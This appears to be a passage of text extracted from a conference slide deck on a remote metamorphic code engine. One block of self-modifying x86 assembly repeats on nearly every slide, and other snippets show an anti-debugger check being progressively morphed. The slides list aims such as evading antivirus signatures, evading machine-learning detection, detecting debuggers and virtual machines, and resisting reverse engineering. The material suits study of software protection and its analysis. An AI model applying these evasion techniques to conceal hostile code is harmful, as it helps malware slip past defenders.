[eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Why Remote? 10 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Morphed Code Execution Thread/Process Mutation Engine Remote Mutation Tru"ed Zone Untru"ed Zone 4 bytes size Code Clock Synced Challenge Response Communication protocol made of morphed clock synchronized machine code rather than data The Remote Metamorphic Engine Challenge Response Metamorphic Protocol 11 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Remote Metamorphic Engine Remote Code Slicing The Reverse Engineer Side The Engine Side Known to the reverse engineer Unknown to the reverse engineer 12 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret RME Challenges In memory code integrity check Execution environment integrity check Clock synchronization Detect debuggers Detect Virtual Machines Collect & Validate Machine IDs In memory APIs code integrity check Detect hooks Validate Hardware 13 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Trusted Mutation Trusted Challenge Response Mutation Morphing Engine Remote Mutation Challenge Mutated Function Morphed Function Morphed Function Head Tail Unused Code Return value Response Mutation 14 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Response Mutation Mutated Encryption/Decryption 15 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Decoupled Reversible Mutation Response Mutation Morphing Engine Remote Mutation Tru"ed Zone Challenge Mutated Function Morphed Function Morphed Function Head Tail Unused Code Return value Reversible Mutation 16 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Decoupled Reversible Mutation Reversible Instructions add(value1) sub(value2) not() xor(value3) rol(value4) ror(value5) rol(value5) ror(value4) xor(value3) not() add(value2) sub(value1) 17 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Reversible Instructions | Response Mutation add eax, 0xe0d9780c not eax sub eax, 0xbcf3e676 not eax xor eax, 0xfb7e9fdd sub eax, 0x695e3adf add eax, 0x3e731a34 xor eax, 0xa0b50d13 xor eax, 0x39034b8d ror eax, 0xf sub eax, 0xfb824ebb xor eax, 0xd1e6a7ec xor eax, 0xbb5202f7 ror eax, 4 xor eax, 0x9ce66186 sub eax, 0x4ec067b8 not eax sub eax, 0xc98775b4 xor eax, 0xbdc52b4f ror eax, 2 sub eax, 0xd925192c ror eax, 3 add eax, 0x48fa27f1 sub eax, 0xd353c205 sub eax, 0xa888b8b2 xor eax, 0xe017f6fa ror eax, 0xd sub eax, 0x247dab96 add eax, 0xf6696155 sub eax, 0xbeaeaad5 add eax, 0xd6c7b4ee add eax, 0x120d5924 add eax, 0x9a0be9b9 sub eax, 0xbfe386c3 ror eax, 0x17 add eax, 0x14c58836 ror eax, 5 xor eax, 0x1984a5de not eax sub eax, 0x4d956430 sub eax, 0x9c9df86 add eax, 0xd88904bc xor eax, 0xf5bcc022 xor eax, 0x205c4a75 add eax, 0xbcbb2b45 sub eax, 0xdb0a2bc0 ror eax, 0xd add eax, 0x529eba0f ror eax, 0x1c add eax, 0x8150605 sub eax, 0xd8fe0628 add eax, 0xad81052c ror eax, 5 add eax, 0x762e0f15 not eax sub eax, 0x75707780 add eax, 0xe3265fc4 xor eax, 0x22952628 add eax, 0x231a8655 ror eax, 2 not eax sub eax, 0x2c75569a sub eax, 0x88ad3417 not eax ror eax, 0x19 add eax, 0xe7634a71 not eax xor eax, 0x500026f6 add eax, 0xad1a2fd2 sub eax, 0x937ead1b not eax add eax, 0x2f112a91 sub eax, 0x801608e8 xor eax, 0x9cb2998b xor eax, 0xe626a2be add eax, 0x3185e741 xor eax, 0x197e9520 xor eax, 0x5665148d sub eax, 0xc739155d add eax, 0x58f934ef sub eax, 0xa623710f xor eax, 0x8051cbca ror eax, 0x1d ror eax, 0xc ror eax, 0x1c xor eax, 0xa96f3357 ror eax, 0xa xor eax, 0xf13d8c20 not eax xor eax, 0xfb42f152 add eax, 0xb813492a sub eax, 0x4f8728ef add eax, 0xee0e75bc 18 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Evading AI Machine Learning Mixing Morphed Blocks Morphed Function 1 Head Tail Morphed Function 2 Head Tail Morphed Function 3 Head Tail Disabling the AI from differentiating functions before, during and after execution 19 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Mutation Engines AV Signature Evasion Polymorphic Engines Metamorphic Engines morphed body encryption body polymorphic 20 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Signature Evasion Morphing Techniques Evading Signature Instruction reordering Subroutine permutation Subroutine Inlining Expansion Subroutine Outlining Code Permutation Instruction Substitution Transposition Dead Code Insertion Changing Control Flow Can not resist reverse engineering 21 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Remote Code Evolution Flux Mutation Goals Ensure Trusted Remote Execution Evade Signature Extend Trust Evade AI Machine Learning Detect & Evade RE Detect Tampering Attempts 22 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Structure Obfuscation All functions look the same before and during execution 23 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Structure Obfuscation Self modifying basic block Edges 24 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret 25 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret RE Evasion Morphing Techniques Metamorphic + Polymorphic Self modifying mutation Code structure obfuscation Clock synchronized execution Challenge-Response Mutation Functionality Mutation Decoupled Reversible Mutation Slices Permutation Code size magnification 26 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret _start: push 0 pushad mov reg1, [fs:dword 0x30] movzx reg2, byte [reg1+2] mov dword [esp+32], reg2 popad pop eax ret end: Remote Code Evolution Morphing Techniques 27 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret _start: xor reg1, reg1 push reg1 pushad mov reg1, [fs:dword 0x30] movzx reg2, byte [reg1+2] mov dword [esp+32], reg2 popad pop eax ret end: push 0{ Remote Code Evolution Morphing Techniques 28 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret _start: xor reg1, reg1 push reg1 pushad sub reg1, reg1 mov reg1, [fs:dword 0x30] movzx reg2, byte [reg1+2] mov dword [esp+32], reg2 popad pop eax ret end: push 0{ Insertion Remote Code Evolution Morphing Techniques 29 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret _start: xor reg1, reg1 push reg1 pushad sub reg1, reg1 mov reg1, [fs:dword 0x30] add reg2, reg2 movzx reg2, byte [reg1+2] mov dword [esp+32], reg2 popad pop eax ret end: push 0{ Insertion Insertion Remote Code Evolution Morphing Techniques 30 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret _start: xor reg1, reg1 push reg1 pushad sub reg1, reg1 mov reg1, [fs:dword 0x30] add reg2, reg2 movzx reg2, byte [reg1+2] mov reg3, reg4 mov dword [esp+32], reg2 popad pop eax ret end: push 0{ Insertion Insertion Insertion Remote Code Evolution Morphing Techniques 31 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Remote Code Evolution _start: xor reg1, reg1 push reg1 pushad sub reg1, reg1 mov reg1, [fs:dword 0x30] add reg2, reg2 movzx reg2, byte [reg1+2] mov reg3, reg4 mov dword [esp+32], reg2 popad pop eax ret end: push 0{ Insertion Insertion Insertion n*nop Morphing Techniques 32 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Remote Code Evolution _start: xor reg1, reg1 push reg1 pushad sub reg1, reg1 mov reg1, [fs:dword 0x30] add reg2, reg2 movzx reg2, byte [reg1+2] mov reg3, reg4 mov dword [esp+32], reg2 popad pop eax ret end: push 0{ Insertion Insertion Insertion n*nop Morphing Techniques add esp,36 push reg2 sub esp,32 33 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret _start: xor reg1, reg1 push reg1 pushad sub reg1, reg1 mov reg1, [fs:dword 0x30] add reg2, reg2 movzx reg2, byte [reg1+2] mov reg3, reg4 mov dword [esp+32], reg2 popad nop pop eax nop ret end: Remote Code Evolution First Morphing Stage 34 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Second Morphing Stage Remote Code Evolution line1: xor edi, edi jmp long line2 line11: popad jmp long line12 line10: nop jmp long line11 line5: jmp long line6 line4: sub edi, edi jmp long line5 line3: pushad jmp long line4 line2: push edi jmp long line3 line8: mov ecx, edx jmp long line9 line7: movzx ebx, byte [edi+2] jmp long line8 line6: add ebx, ebx jmp long line7 line9: mov dword [esp+32], ebx jmp long line10 line15: ret jmp long line16 line14: nop jmp long line15 line13: pop eax jmp long line14 line12: nop jmp long line13 35 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret line1: xor edi, edi jmp long line2 line11: popad jmp long line12 line10: nop jmp long line11 line5: jmp long line6 line4: sub edi, edi jmp long line5 line3: pushad jmp long line4 line2: push edi jmp long line3 line8: mov ecx, edx jmp long line9 